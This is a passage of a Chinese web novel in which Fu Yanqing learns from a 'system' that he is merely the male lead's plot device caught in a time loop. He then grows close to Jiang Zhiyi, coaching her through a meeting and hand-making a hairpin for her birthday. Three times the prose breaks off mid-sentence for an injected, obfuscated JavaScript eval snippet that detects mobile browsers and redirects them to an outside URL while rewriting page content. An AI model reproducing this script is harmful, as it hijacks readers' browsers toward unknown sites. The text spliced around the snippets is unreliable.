“你是男主的金手指啊。”系统嘻嘻一笑,“因为男主需要这些东西,所以你才会拥有这些东西。” “那为什么不直接给他,要通过我?” “因为描写第一主角需要大量的细节啊。”系统耐心解释,“商战,学识,见识,阅历,这些高水平的东西你以为每个作者都能写得出来啊?与其写出来让人挑刺,不如用个讨巧的办法,加亲情线,用亲情线给他开金手指,这样金手指出现就是完成体,只需少量的描写就能让读者理解人设,最后结尾亲情线升华,不仅赚眼泪,还能让男主顺理成章得到那些东西,多一举两得。” “……呵。”傅延青似乎平静了一些,他将花盆轻轻放回地上,冷冷问,“凭什么。” “凭什么?”系统好笑道,“哈哈,宿主,你真幽默。” “你们都是纸片人,纸片人哪有人权?” 之后傅延青便不再搭理它的话题了。 无论它说“你要抓紧时间,第二次机会可是最后一次机会了”,还是说“你想摆脱这种命运就好好做任务啊,在这儿摆烂算什么”,傅延青都无动于衷。 他半分都没有要找江知意的意思,只是驱车来到河边,捡河边的石头开始砸。 一颗,两颗,三颗……砸到现在。 他仿佛不知疲倦,砸到手指被石头的棱角磨出血了也不肯停,仿佛在用这种方式发泄对抗着什么一般。 系统越看越心梗。 傅延青这样,它都怀疑他崩人设了。 谁能想到,傅延青那么爱干净不喜人触碰的人,鞋底几乎从不沾灰的人,如今会在河边扔石头? 那些石头饱经风霜,他应该比任何人都清楚那有多脏,可他竟然用手直接去碰,竟然一颗一颗捡了起来。 系统:……千万别是疯了。 四十分钟后,傅延青停了下来。 九月初,盛夏的热意犹在,他的汗顺着额角和脸颊,一滴滴滚落。 男人浑然不顾,低下头,看到自己手上满手的血迹。 一双养尊处优、修长好看的手,如今却像在土里滚过一样,又脏又烂,难看得要命。 傅延青闭了闭眼。 他第一次觉得自己很可笑。 千算万算傅呈远会怎样翻盘,到头来竟是那么简单粗暴的方法。 他竟只是傅呈远的一个金手指。 他所拥有的一切,都只是因为傅呈远需要而已。 任何一个有主体性且高自尊的人,恐怕都无法接受这样的事实。 系统说,你要抓紧时间,第二次机会可是最后一次机会了;系统说,你想摆脱这种命运就好好做任务啊,在这儿摆烂算什么。 他都听到了,任务就是攻略江知意,只要攻略江知意,他就能摆脱这种命运。 可是。 知道真相的最初,他确实是疯狂地想要摆脱这种命运,他疯狂地想要远离这本书,远离傅呈远,可想到江知意,一种从未有过的想法冒了出来。 ——他是在利用江知意吗? 之前他从未在意过这个问题,接受任务也只是觉得他们会各取所需,江知意什么也不亏,可此刻,凭他对江知意的了解,凭他和江知意一年的接触,他突然想,也许江知意根本就不需要他呢? 她从未要过他的帮助,也从未要过他的钱,他想帮她都得费尽心思才能让她接受。 如此一来,不就变成他单方面需要江知意了吗? 他单方面需要她的好感度,单方面需要她来帮他摆脱命运,他这样不由分说地闯进她的生活,她连选择的余地都没有。 真的是他在利用江知意…… 意识到这一点,傅延青放下手,看向河里自己的倒影。 傍晚有风拂过,水面荡起涟漪,映出的倒影很快模糊扭曲成一片。 他这一生算不上什么良善好人,狠戾的事情更是做过不少,可从没有哪一刻,让他像现在一样,无比清晰地认识到自己的卑劣。 系统说他该去找江知意了。 是啊,理论上来说是该这样。 去找江知意做任务,实现他的目的。 可是,怎么找? 他要怎样用这幅卑劣的面孔去面对江知意? 若她有选择,她应该根本就不希望他这样的人出现在她身边吧? 思及此,傅延青竟然淡淡笑了。 ——那他任务失败,她应该挺开心的吧。 是他心思不纯在先,他活该。 * 周医生看到他满手的血,噎了一下,好奇心都快溢出来了,但念及他的规矩,还是选择沉默,坐下来专心给他处理伤口。 “全是划伤和擦伤,不严重,主要是伤口多。”周医生边检查边说,“里面还有泥沙和碎石子,我先帮你清洗一下再上药吧。” 傅延青闭眼,点头。 周医生依言开始清理,同时心里暗戳戳好奇。 这么浅又这么多的伤口,看起来不像是旁人所伤,更像是自己发泄搞出来的。 奇了,傅总一个有洁癖的人,究竟是受了什么刺激才把自己伤成这样? 上完药,周医生站起来说:“等下我让人把药送过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876726|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你每天找人帮你上两次药就行。” 傅延青点头,转身离开。 进电梯时,手机弹出来一条新消息,是贺凌舟发来的。 贺凌舟:【下周电影节开幕式去不去?结束正好和姜导一起吃个饭。】 姜导? 傅延青蹙眉,隐约记得去年这时,贺凌舟好像跟他说过一模一样的话。 蓦地他意识到什么,问系统:“怎么回事?这事不是去年的吗?” 系统一脸懵:“什么怎么回事,当然是去年的啊,第二次机会时间线重来,你没发现吗?” 时间线重来? “什么意思?”傅延青冷声。 “我没跟你说吗?”系统反应过来,“哦,对,我本来想跟你说的,但是你一直不理我。时间线重来就是故事再走一遍啊。” “时间循环你能理解吗?意思就是小说里的内容只有那么多,一遍结束就再来一遍,无休止地重复下去。本来作为小说角色,你们是感觉不到每一遍的区别的,但你现在不是在做任务吗,保留记忆方便点,不然你也该跟他们一样,感觉不到时间重来的。” 轻描淡写的几句话却无端给人一种毛骨悚然的感觉。 “无休止地,重复?”傅延青问。 “对呀。”系统说,“所以这就是第二次任务的弊端了,处在无限循环的世界还保留记忆,这可是很磨人的,不过也有好处嘛,比如你永远年轻,永远二十五。” 它半开玩笑地说出最后一句,傅延青却一点笑的意思都没有。 系统:……无趣的人! 傅延青低眸,扯了扯嘴角:“所以这个世界已经重复很多次了?” 系统:“恭喜你终于发现了!” 原来如此。 所以他应该已经输给傅呈远很多次了。 ……真让他感到恶心。 他回完贺凌舟的消息,淡淡应了声:“知道了。” 系统:“好的宿主,那你打算什么时候去找江知意?” 结果傅延青又不理它了。 系统:……草。 * 助理关上门,正好遇到来汇报工作的财务总监。 总监看到他,赶紧上前一步,压低声音问:“傅总今天心情怎么样?” 助理摇头:“老样子。” 总监刚燃起的希望瞬间破灭,他低叹一口气,视死如归地敲门进去了。 总裁办的门重新关上,助理回到工位上,想到刚刚傅延青的脸色,忍不住也叹了口气。 已经一个月了。 这一个月来,所有能见到傅总的人都达成了共识,傅总最近心情很差。 以往他是面色平静,毫无表情,可最近,他的脸色简直可以用阴云密布来形容。 虽然他并没有因此迁怒过谁,对谁发过火,可每日面对一个脸色沉得可怕的上级,他们不免战战兢兢,心惊胆战。 也不知道是谁把傅总惹成这样的,唉。 另一边,财务总监汇报完工作离开,傅延青打开手机,忽然看到一个许久不见的人给他发来了消息。 头像是玩偶小熊,昵称是xyz。 是江知意。 xyz:【好久不见,你还好吗?】 28. Round 2 江知意说到一半,突然停下来看他,困惑道:“你为什么这样看我?” 她迟疑着问:“你在可怜我吗?” 可怜? 不,哪里是可怜。 分明是心疼。 “不是。”傅延青摇头。 “不是就好。”她观察着他的表情,松一口气,“我可不喜欢别人可怜我。” “你怕别人看轻你?” “可怜”这个词天生带有高高在上的优越感,如果她是因为这个讨厌别人可怜她,那他也能理解。 偏偏她说不是。 “我不可怜,为什么要怕别人看轻我?”她扬唇一笑,带着点骄傲和得意,“相反,我很厉害。我爸爸给我打了钱,但我没有用,从开学到现在,我用的全是自己赚的钱,以后我再也不用看他们的脸色,再也不用求他们为我做什么了。” 少女的眸色熠熠生辉,里面的光几乎让他眩晕,他不由微笑:“嗯,很厉害。” 傅延青忍不住想,一年前的他是怎么想的呢? 竟然会觉得她普普通通,泯然众人,没什么特别。 她分明,独一无二。 傅延青移开目光,看向远处的教学楼:“大学过得怎么样?” “很好啊。”她说,“认识了很多新朋友,学了很多新东西,你要听吗?” “听听。” 江知意感到神奇:“真的要听?很琐碎很无聊的,都是些千篇一律的事。” “没事,我有时间。” 那好吧。 只要他不嫌烦,她倒是不介意和他说这些。 江知意想了想,从舍友开始说起。 她们宿舍是上床下桌的四人间,其中两个跟她一样从小在江北市长大,另一个则来自外省。 几个姑娘脾气都不错,很好相处,最初开学,为了不让人落单,她们总是结伴而行。 后来认识的人多了,渐渐适应了大学生活,大家便不再时时刻刻与舍友同行。 江知意觉得这样挺好。 每个人都有自己的生活节奏,起床时间,吃饭时间,去图书馆自习的时间,睡觉时间,没有必要非得和旁人同步。 在大学,要学会的第一件事就是独处。 初高中时期,大家作息高度一致,因此习惯结伴,但在大学,每个人都是独立的个体,每个人都有自己的时间安排,一个人吃饭,一个人去图书馆,一个人去操场,简直再正常不过。 高中时如果你落了单,兴许会有人在背后指点你,觉得你不合群,交不到朋友,你一定有什么问题。 但大学不会。 在这里,独行从来都不是异类。 起初江知意也有点不习惯,毕竟高三她总是和王瑜一起,慢慢地,她习惯了独处,反而享受起这样的自由。 舍友关系既不至于太过疏远,又有属于自己的空间,不浓不淡,不远不近,刚刚好。 开学军训完,学生会开始招新。 学长们在台上一个个宣传,轮到生活部时,江知意赫然发现上面的部长就是当初接她的学长。 她坐在台下,学长认出她,还朝她笑了一下。 事后宣传完,学长走下台问她:“怎么样学妹,有兴趣进学生会吗?生活部考虑一下?” 江知意笑着摇头:“我还是想试试宣传部。” 学长一脸惋惜,但还是大气道:“没事,喜欢哪个就进哪个,以后你遇到问题还是可以来找我,就当交个朋友。” “好啊,谢谢学长。” 进宣传部前,经历了一轮简单的面试。 等正式入部,大家自我介绍完一起去聚餐,江知意才后知后觉感到真实。 她真的进宣传部了。 彼时她因为一个宣传片对宣传部心生向往,如今真的进了宣传部,她一定要好好学ps和pr。 学生会的各个部室,平时各忙各的,只有每月例会和大型活动时才会聚在一起。 例会,就是定期汇报工作,每个部室派人发言,进行工作总结,如果之后有活动需要其他部室配合帮忙,也会在月例会上敲定下来。 其他部室的惯例暂且不说,但宣传部一向是以锻炼新人为主。 九月底的例会发言是数应的一个女生,十月底点兵点将,轮到了江知意。 和傅延青分享到此处,江知意叹气,惆怅道:“我有点紧张。” 暑假的时候不是没有试过,可她就是一到大场面的人前就容易紧张。这种情况要她发言,还不能给部室丢人,想想江知意就觉得头痛。 “月底轮到我发言,我不知道怎么练才能在人前不紧张。要是只有我丢人就算了,可偏偏代表的是我们部。” 在台上那么多双眼睛盯着你,要怎么才能镇定自若地完成一场工作汇报? “我帮你。”一直静静倾听的傅延青忽然开口。 “什么?” “我帮你。”男人重复一遍,扭头看向她,“晚上有课吗?” “没有,我……” “那就跟我走。”傅延青站起来,向她伸出手,“走吗?” “去哪儿?”江知意仰头看他。 “公司。” 公司?江知意隐约猜到了傅延青要干什么。 她犹豫几秒,搭上他的手,借力站起。 指尖相触不到两秒,傅延青放开她的手,转身道:“走吧。” * 四十分钟后,车停在傅氏集团的大楼下。 坐电梯到三十五层,助理迎上来。 “傅总,会议资料已经给您准备好了,五点周例会也已经给他们通知到了。”助理说完看向她,露出一个得体的微笑,“您是?” “江知意。”傅延青替她回答道。 “好的江小姐。”助理点头,看回傅延青,“离会议开始还有一个小时,等人到齐我再叫您。” “好。”说话间已来到总裁办门前,傅延青推开门,对助理示意,“你先去忙。” “好的傅总。” 助理在身后为他们关上门,等办公室只剩下他们两人,江知意眨眨眼,迫不及待地问道:“他怎么了,上次不是见过我吗,怎么还问我是谁?” 明明见过,看她的时候却一脸陌生,仿佛从不认识一样。 “他记性不好,不用管他。”男人走到办公室前,拿起桌上的一叠文件。 “……”好吧。 第二次来他的办公室,江知意还是忍不住感慨这里的宽敞与高级。 她小心找了个地方坐下,问他:“你说要帮我,怎么帮?” 他五点还有会,希望这事能五点前解决,就算解决不了,也千万别耽误他开会。 “等会儿的会,你跟我一起。”傅延青看着文件淡淡道。 “……”她大脑空白几秒才反应过来,“啊???” 什么意思? 她和他一起? 她什么都不懂,能在会上做什么? “不是要锻炼胆量吗?正好会前有一段资料需要人念,你念吧。”傅延青转过身,将手上的文件递给她,“就是这个。” 文件约莫两三张纸,是一些背景资料和开会要决定的几项内容,全念完也不过十分钟,时间不长,也不过分,可是这事本身却怎么听怎么离奇。 能让总裁参加的会议一定是高级会议,参会的人员也一定是下面的各个高管,这么严肃的场合,傅延青竟然让她进去念会议资料? 他在想什么? 江知意接过纸,手有点抖:“我?你确定吗?” 男人静静看她几秒,似看穿她在想什么,笑了,解释道:“不用紧张,会前资料没什么重要的,这几分钟只是为了让大家快速浏览一遍,进入状态而已。” “可是这么重要的会,你就不怕我听到点什么,泄露对你不利的资料吗?” 傅延青没有正面回答。 他看着她,将问题抛回给她:“那你会害我吗?” 他很少有这样专注看她的时候,安静的对视中,江知意仿佛从他的眼睛里读出了这句话的潜台词——他相信她。 她心里一哽,摇头:“不会。” “那不就好了。”他淡淡一笑,走到她旁边坐下,“资料简单念一遍就行了,他们脑子里都是接下来的发言,不会注意你的。” “你在人前容易紧张,那就慢慢练,我这里的会多的是,你随时想来,随时跟我说一声就行。” 江知意看着手里的资料发怔,还是不敢相信傅延青就这样随意地带她去开会。 “那如果我念得不好,磕磕绊绊,给你丢人怎么办?” 傅延青不由笑了。 “你有没有听过一句话,人生的容错率是很高的。”他说,“你现在在意这些,觉得读错一个字是很丢人的事,可实际上站在他们的角度,这句话听过就忘了,没有人会一直记得。重要的不是完美,是完成。” “你好好读完,这一次不满意就下次精进,来日方长,总有你满意的一天。江知意,放松。” 平心而论,傅延青说的有道理。 她不能总害怕人前发言,傅延青给她机会,帮她锻炼,她就应该好好利用这个机会。 理性上她想通了,可感性上,想到一会儿要面对的众多高管,她还是忍不住紧张:“那一会儿,会有多少人参会啊?” “八个,不是很多。”他用眼神给她安抚和鼓励,“慢慢来。” 他今天好似有着无限的耐心,连语调都比平时温柔一分,她不安的心缓缓落定,点头:“嗯,我努力。” 江知意默默顺了几遍资料,等助理进来说“人都到齐了”,她跟着傅延青走进会议室。 参会之人皆已落座,各自低头整理自己的资料,听到脚步声,他们齐齐抬头望过来。 等看清傅延青身后还跟了个陌生面孔,众人一时神色各异。 但惊讶也好疑惑也好,都只是一瞬间,他们很快将心思放回傅延青身上。 傅延青在主位上落座,助理跟着就搬来一把椅子放在他旁边,示意江知意坐。 江知意咽了下口水,抚平裙底坐下来。 这么多高管,见过不知多少大场面,谈过不知多少大生意,而她只是个对经商一窍不通的大学生……想到这些,江知意小腿开始发软。 所有人坐好,助理关上门,傅延青淡淡开口:“开始吧。” 说完微微偏头,对她道:“念吧。” 江知意拿起文件开始念。 她尽量保持着声音的平稳,可高度紧张下,还是透出几分僵硬和不自然,就连握纸的手也不受控地轻轻颤抖着。她不敢放松,生怕念错哪句话让傅延青丢人。 短短十分钟,时间却慢得像流水侵蚀岩石。 最后一个字念完,江知意放下文件,心跳恢复平缓。 “你先去找助理带你回去,我很快结束。”傅延青在她身旁道。 江知意点头,将文件推向他那边,轻手轻脚离开。 关上会议室的门,她没有立刻走,而是站在拐角处又看了一会儿。 隔着一层磨砂玻璃,看不清里面之人的模样和表情,只能看到一个模糊的轮廓。 主位上的男人神情极淡,气场却极强,随便一个抬眼都能让下面的人琢磨又琢磨,唯恐说错一句话。 这才是傅延青本来的样子。 一个上位者的姿态。 偏偏是这样的人,对她一次又一次…… “江小姐。”思绪乱飞时,助理来到她身边,友好微笑,“第一次跟着傅总参会吗?您好像很紧张。” “嗯……”江知意承认,“我念得不好,给他丢人了。” 助理摇头,仍是微笑:“只是念资料而已,您看得太重了。大家都在专心工作,没人会注意这种小事,等会开完,他们转身就忘了。” 他说完侧身,让开半步:“我先带您去办公室等傅总吧。” 回到办公室坐下,助理为她端来水:“喝点水吧。” 江知意看着他手里的纸杯,愣了愣。 没记错的话,上次傅延青专门说过“不要给她用这个”,怎么又变回去了? 是傅延青不让她再用了吗? 她扭头,看到柜子里那套蓝白渐变的茶具,问道:“怎么不用那套?傅延青不让用了吗?” 助理顺着她的目光看去,脸上神情变得古怪,迟疑道:“那是傅总收藏用的,从不给人用,包括他自己。” 从不给人用? 她不是人吗? 傅延青说他记性差,这也太差了吧? 江知意蹙眉,感到奇怪,想多问几句,又想起助理只是个打工人,问也没用。 于是她点点头:“好的,没关系,我用纸杯就行。” 随着助理退出办公室,江知意捧着纸杯复盘起自己在会议室的表现。 声音不稳,语速略快,偶有磕绊,整体状态不自然,不松弛。 果然理智明白是一回事,做起来是另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890161|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回事。 想要在人前轻松发言,还是得多练。 半小时后,傅延青回来了。 他进门没有停留,拿起车钥匙道:“我送你回去。” “等等,傅延青。”江知意叫住他,缓缓举起喝水的纸杯,“这个纸杯,是你跟助理说的吗?”她小心道,“那次之后,你是不是生气了?” 那次之后,她删了他的微信,单方面切断他们的联系,换作任何一个人都不可能不生气吧? 想到后来傅延青为她做的种种,江知意不由愧疚:“抱歉,那时是我……” “不用抱歉。”傅延青打断,“那时是我自作主张,你会有那样的反应也很正常。”他解释,“茶杯的事我没跟助理说过,是他忘了,以后你再来,跟助理说一声,随便用就好。” “你没生气?”江知意忍不住上前,想将他的表情看得更仔细,“真的没生气?” “没有。”他平静回答。 “……”她有时候都在想,他的脾气和耐心是不是太好了点? 这样都不生气,除非…… “不过说到这儿,我也有个问题想问你。”男人凝视着她,缓缓说道。 “什么?” “为什么说要请我吃蛋糕?从前不是害怕我,总避我不及吗,这次怎么主动找我了?” “因为我们是朋友啊。”江知意笑着回答。 她回答得简单,对面的男人显然不满足于此。 他几乎在用眼神说,不对,这个答案太浅了,他想知道真正的答案。 在这样的目光注视下,江知意败下阵来,她敛了笑意,叹气,选择坦诚:“好吧,因为我担心你。” 因为担心,所以找借口跟他说话。 六月最后一别,他说这一去可能会有危险,九月初就回来。 起初她没有放在心上,可随着时间的逼近,傅延青始终没有消息,她开始不安。 九月到十月,整整一个月,她都在想他为什么还没有消息。 真的出事了吗? 他说的危险到底是什么? 等到坐不住的时候,她翻出他们的对话框,给他发了消息。 “你一直没回我,我还以为你真的出事了。”她声音低下去,自言自语,“还好,是我想多了。” “这么担心我?”男人出声,“一点都不害怕我了?” 他问得太直白,江知意难以招架,错开他的目光才道:“因为我觉得你变了。” 最初的傅延青在她面前,虽然表现得很温和,但她总有种感觉,他的眼底是冷的,他的笑从未到达过心里。 他每次帮她都是一派冷静,仿佛在冷静的背后,有某种不可告人的目的。 她害怕他,他也只是皱眉,毫无伤心挫败,毫无情绪起伏。 后来说不清从哪一刻起,他看向她的目光有了温度。 好像黑白线稿被一点点着色,好像灰暗的天空雨过天晴,被折射出斑斓的色彩。 她开始感受到他的真实,感受到他的情绪。 “变了是什么意思?”傅延青追问。 “就是……”她觉得接下来的话不太好说出口,可既然已经说到这一步,干脆还是全部摊开,“一开始你的眼神是冷的,我的情绪影响不到你,后来相处多了,你的眼里才开始有温度,才是真心想帮我。” 一个人是真心还是假意,她岂会看不出来。 傅延青如此变化,她只能猜测,一开始他确实是带着目的来的,但随着两人相处,他改变或者放弃了那个目的。 至于那个目的是什么,以前她会好奇,现在她不想问了。 就像她自己也有很多不想说的事情一样,以己度人,相信傅延青也一样。 她愿意说时,自然会主动说;同理,傅延青愿意说,那她就听,不愿意说,她就不问。 这些话说完,傅延青沉默了。 他好像被戳中痛处,头轻轻别开,看向远处,薄唇渐渐抿成一条直线。 “不过我不在意这些。”江知意说,“你想说就说,不想说就不说,没关系。” 反正她会用自己的眼睛和心去判断。 “当初我说试着做朋友是真心的,想请你吃蛋糕也是真心的,你呢,我生日那天你要不要来?” 她说完,男人转过头看她。 他注视她久久,开口道:“来。” 那一刻傅延青几乎分不清自己为什么还留在江知意身边了。 他不齿于自己的卑劣,想着远离她放过她,可她一开口,他下意识想的就是答应。 抛弃所有的顾虑和犹疑,只要她想,他就来。 这样本能的反应,是心动? * 车开到学校门口,江知意下车。 傅延青看着她的背影,忽然道:“江知意。” 少女回头,在一片霞光里应道:“嗯?怎么了?” 他下车走近,问她:“上次我问你是不是过得不好,你没回答,这次怎么肯承认了?” “因为已经过去了啊。”江知意答得理所当然,傅延青的心却沉了沉。 已经过去,就意味着她不会再受伤,因为不再害怕受伤,所以才能坦诚承认。 说到底,想真正得到她的信任还是太难了。 他还是差太远了。 就如今日,他好像离她近了些,可下一秒,各种事实又在提醒他,他们之间的距离还是很远,于她而言,他还是个外人。 * 贺凌舟看着门外的人,难得露出惊讶的表情。 要知道他与傅延青之间,一向都是他主动多些,傅延青主动少些。 即使傅延青主动,那也是约在外面,很少来他家。 可今日,傅延青竟然主动上门了。 不知道今日吹的什么风,竟把傅总吹来了? “亲自登门?”贺凌舟抱臂靠在门框上,给他让路,挑眉而笑,“找我有急事?” “有。”傅延青走进来说,“你送礼物有经验,帮我想想送什么生日礼物好。” “哦?”贺凌舟在身后关上门,八卦之心顿起,“给谁?” 能让傅延青专程跑到他家问生日礼物的建议,这人来头不小啊。 “女孩子,十九岁,不喜欢化妆品衣服首饰那些。” “???”贺凌舟眼皮一跳,绕到傅延青面前,“十九岁,谁啊?我怎么不知道你认识哪个十九岁的妹妹。” “我喜欢的人。”傅延青回答。 29. Round 2 男人的声音有些哑,有些温柔,贺凌舟眼皮狂跳,傻在原地,忘了呼吸。 他就是信明天傅延青把整个傅氏送给傅呈远,也不会信傅延青喜欢上了谁。 能让傅延青有几分特别相待就难如登天,更何况是他亲口承认的“喜欢”。 美色他不感兴趣,钱权他自己就有,这样的人,要多特别才能让他动心? 贺凌舟久久未出声,傅延青蹙眉:“怎么?不信?” “是不太信。”贺凌舟摸着下巴,一脸认真地提议,“要不你让我见见?见了我就信。” 傅延青只是淡淡看他,毫无答应的意思。 贺凌舟碰了壁,不由暗骂自己怎么总是不长记性。 傅延青若真想让他见,不用他提就会主动开口,如今没有开口,那就是不想让他见。 还真有点护短的意思。 他问不出什么,不敢再耽误下去,清了清嗓子,正面回答起傅延青的问题:“十九岁啊,不喜欢化妆品那些,是不会,还是真的不喜欢?” “真的不喜欢。” “那送点别的呢?花?香水?” “送过了。”傅延青低眸沉思,指了个方向,“而且这些都太贵了,你有没有不值钱的有趣一些的东西推荐?” 贺凌舟:“?” 什么叫不值钱的东西? 开玩笑,他用的东西就没有不值钱的! 傅延青只会比他更夸张。 可他让他推荐点不值钱的,贺凌舟一时又摸不准他的态度了。 亲自上门问生日礼物的建议,好像在乎;特别指出要不值钱的,又好像不在乎。 正常人为了喜欢的人,哪个不是一掷千金的? 傅延青怎么反其道而行? “以防万一,我先问一下,多少算不值钱?”贺凌舟拧眉开口。 “五百。”傅延青说完又改口,“三百左右。” “三百万?” “三百块。” 贺凌舟:“……” 他都想问傅延青是不是在玩他了。 三百块?他们这些人什么时候用过三百块的东西? “你是喜欢她还是恨她?”贺凌舟嘴角抽了抽,“三百块,你侮辱谁呢?” 他随口一说,却见傅延青失神一瞬。 回神后傅延青说:“太贵了她会有压力,她要还我的。” 贺凌舟:“……我怎么听着像她不喜欢你?” “确实不喜欢。” 傅延青坦然承认,面色平静,似早就接受这样的结果,贺凌舟心里一揪,连幸灾乐祸的话都说不出口了。 第一次喜欢的人不喜欢他啊…… 联想到自己,贺凌舟觉得他们真是惨到一块去了。 两情相悦怎么就这么难呢? 贺凌舟叹一口气,语气沉了几分:“手工吧。她喜欢什么,你给她做一个就是了。” 三百块的东西他想不到,但不值钱的东西,他深有体会。 他们这些人从小到大培养的都是脑子、谈吐和见识,鲜少有培养手上功夫的,傅延青也不例外。 不擅手工,做出来的东西自然就歪歪扭扭,不堪入目,唯一值得一提的,就是肯亲自动手的心意。 但心意值几个钱呢? 尤其是在不喜欢自己的人眼里。 贺凌舟勉强一笑:“至于她喜欢什么我就不知道了,你要么自己想,要么问她。” * 系统看着傅延青从贺凌舟家里离开,深觉自己真是越来越不了解他了。 起初听到“我喜欢的人”,它已经很震惊,没想到还有更震惊的,傅延青要亲手给江知意做礼物。 它眼睁睁看着一个没有灵魂的纸片人长出血肉,生出爱与牵挂。 太神奇了。 系统啧啧感叹。 不过这或许是一件好事。 他对江知意动了心,自然会更用心地对她,这种发自内心最真切的感情,比什么攻略手段都有用。 * 傍晚回到宿舍,三个舍友两个不在,一个蹲在床边正收拾鞋盒。 听到声响,舍友转过来问:“回来这么晚?见到你那个朋友了吗?” “见到了。”江知意说。 “噢,他没事吧?” “没事。” 舍友忍不住笑,替她高兴:“那就好,不枉你担心这么久。” 江知意抿唇微笑,心情确实有几分说不出的好。 大学开学她忙碌了一阵子,等生活步入正轨,她才后知后觉意识到傅延青失约了。 他说九月初回来,可他没有来。 那晚她躺在床上,一遍遍想他为什么会失约。 若放在以前,她一定会松一口气,觉得他再也不来是件好事,值得庆幸。 可一年过去,他们经历了那么多事,他为她做了那么多,只要她不是石头心,就一定会有所动容。 她的血肉之心告诉她,她在担心他。 担心他出事,担心他遇到危险,担心他有什么意外。 无数次,她看着他的头像想问问他好吗,犹豫片刻,又退缩回去。 傅延青说他很忙,这样贸然打扰,应该不太好吧。 还是等有一个光明正大的理由时再找他吧。 很快,光明正大的理由来了。 她要过生日了。 去年生日他送了她一瓶香水,那今年,她就请他吃蛋糕吧。 这么想着,江知意打下一行字:【好久不见,你还好吗?】 失约也没关系,她只想问问他,他还好吗? 好在结果是好的。 傅延青没事。 压在心里的那块巨石终于放下。 想到几天后的生日,江知意微笑。 希望她选的蛋糕他能喜欢。 * 十月十号生日当天,江知意先被舍友拉着出去,中午吃了顿好的,下午又在宣传部的群里被疯狂艾特,说要晚上给她过生日,顺便部室聚餐。 群里闹得开心,江知意不由失笑。 宣传部一向爱玩爱闹,喜欢找各种由头出去聚餐,她知道自己过生日只是给他们找了个借口,但看着满屏的生日快乐,她还是忍不住生出细碎的幸福感。 苏语琴和江淮平又忘了她的生日,反倒是认识一个多月的新同学在吵着嚷着给她过生日,多讽刺。 不过和以前不同,她已经不会再为这些小事而难过了。 从十八岁到十九岁,这大概就是她最大的进步。 中午和晚上的时间都被排满,江知意只能见缝插针地约傅延青下午见面。 下午第一节下课,部室其他专业的同学帮她带来了蛋糕,她提着蛋糕走到南门,发现傅延青已经等在那里了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919384|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 甚至就坐在上次见面的那棵树下。 十月入了秋,路边都是金灿灿的梧桐叶。 她踩着落叶来到他面前,发现他今日罕见地戴了一双黑色皮手套。 他的手一向修长白皙,骨节分明,如今骤然被皮手套遮住,她还有些不习惯。 江知意在他身旁坐下,纳闷道:“你今天怎么戴手套了?” 认识他一年多,这还是她第一次见他戴手套。 傅延青抬头:“偶尔会戴。” 没再给她追问的机会,他叉开话题,拿出一个长条木盒道:“给你的礼物。” 他示意:“打开看看。” 江知意接过木盒打开,里面是一根木簪。 毫无修饰、朴实至极的木簪。 唯一特别的就是木簪侧面刻了几个字母。 她拿起来细看,上面写着:JZY。 JZY,江知意。 是她的名字。 她伸手摩挲木簪,发现簪身手感粗糙,有几处棱角摸起来甚至钝钝的,有一种未打磨完成的半成品的感觉。 半成品? 不对,这不符合傅延青的审美。 以他的品位,这做工或许是什么她不懂的艺术? 不过话说回来,这簪子摸着不怎么样,外形上倒是挺好看的,有一种大道至简的美。 干净,简约,大气。 她越看越喜欢,摩挲几下装回盒子,抬头问傅延青:“怎么想起来送我簪子?” “看你头发长了,想着你盘发会用到。”傅延青回答。 原来如此。 她又问:“这根簪子多少钱?贵吗?我看它触感挺特别,不会是什么珍藏品吧?” “不值钱。”傅延青平静回答。 江知意歪了歪头,一时有些反应不过来。 在傅延青身边见过太多名贵东西,她很难把“不值钱”三个字和“傅延青”联系到一起。 反应几秒后她说:“不值钱是多少钱?对你来说就算不值钱也应该有几千几百吧。” “没有。”傅延青说,“不值钱的意思就是零。” “什么叫零?” “意思就是……”男人无奈轻笑,“不是买的,是我做的。第一次做,做得不好,你玩几天要是不喜欢,就扔了吧。” 见江知意怔在原地一副难以理解的样子,他继续:“簪子的手感,没摸出来吗?” 江知意:“……” 她张了张嘴,好一会儿才听见自己的声音:“你做的?” 傅延青点头。 心跳突然失控,她低头拿出簪子重新细看,那些粗暴和硌手的地方在一瞬间有了解释。 对啊。 若是买的簪子,且不说工艺如何,必定触手光滑,而这支…… 怎么会呢? 傅延青怎么会给她做簪子呢? 他这样的人要什么没有,何必费时费力,亲手给她做簪子? 少女握紧簪子,缓缓抬头看他。 男人眸光平静,好似在说一件再正常不过的事,如同吃饭喝水那么简单。 他并不觉得自己亲手做的东西有什么价值,以至于轻描淡写说出“不值钱”三个字,轻描淡写说出“玩几天就扔了”这样的话。 